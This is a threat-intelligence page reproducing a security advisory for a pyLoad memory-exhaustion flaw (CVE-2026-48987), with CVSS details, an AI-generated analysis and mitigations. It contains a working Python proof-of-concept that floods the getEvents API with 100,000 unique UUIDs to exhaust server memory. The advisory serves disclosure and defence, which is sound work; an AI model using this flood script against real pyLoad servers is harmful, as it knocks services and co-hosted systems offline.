Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…

Pyload ng: pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager (CVE-2026-48987)

0
Medium
Published: 07/09/2026 (07/09/2026, 13:35:28 UTC)
Source: GCVE Database
Product: pyload-ng

Description

## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.

CVSS v3.1

Score 6.5medium

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Affected software

PyPIghsa
pyload-ng
Affected versions
<=0.5.0b3.dev100

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/09/2026, 14:03:17 UTC

Technical Analysis

The vulnerability in pyLoad's EventManager module arises because each unique UUID from the get_events API causes a new Client instance to be appended to an internal clients list without ever removing inactive clients. Although a clean() method exists to remove non-responding clients, it is never called in the codebase. This results in uncontrolled memory growth as the clients list expands indefinitely with each unique UUID request. Attackers can exploit this by sending a large number of requests with unique UUIDs, causing the pyLoad process to consume all available memory, leading to denial of service. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption), CWE-401 (Improper Release of Memory), and CWE-770 (Allocation of Resources Without Limits or Throttling). No official patch or fix is currently documented. Recommended mitigations are to call the clean() method to purge inactive clients before processing new requests and to implement rate limiting on the getEvents API endpoint to prevent flooding.

Potential Impact

The vulnerability causes the pyLoad process to consume increasing amounts of memory without release, eventually exhausting system memory. This leads to denial of service conditions, including potential out-of-memory kills by the operating system or broader system instability affecting other services on the host. There is no direct impact on confidentiality or integrity reported.

Mitigation Recommendations

No official patch or fix is currently available. It is recommended to modify the pyLoad EventManager code to invoke the clean() method at the start of the get_events API handler to remove inactive Client instances and prevent unbounded memory growth. Additionally, implementing rate limiting on the getEvents API endpoint can help prevent abuse by limiting the number of unique UUID requests from a single client. Monitor for updates from the vendor or project repository for any official fixes.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-c2f9-4mc8-j656
Osv Schema Version
1.4.0
Aliases
["CVE-2026-48987"]
Ecosystems
["PyPI"]
Database Specific Severity
MODERATE
Cvss Version
3.1

Threat ID: 6a4fa9a168715ace437d3e23

Added to database: 07/09/2026, 14:01:05 UTC

Last enriched: 07/09/2026, 14:03:17 UTC

Last updated: 07/31/2026, 12:27:13 UTC

Views: 57

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses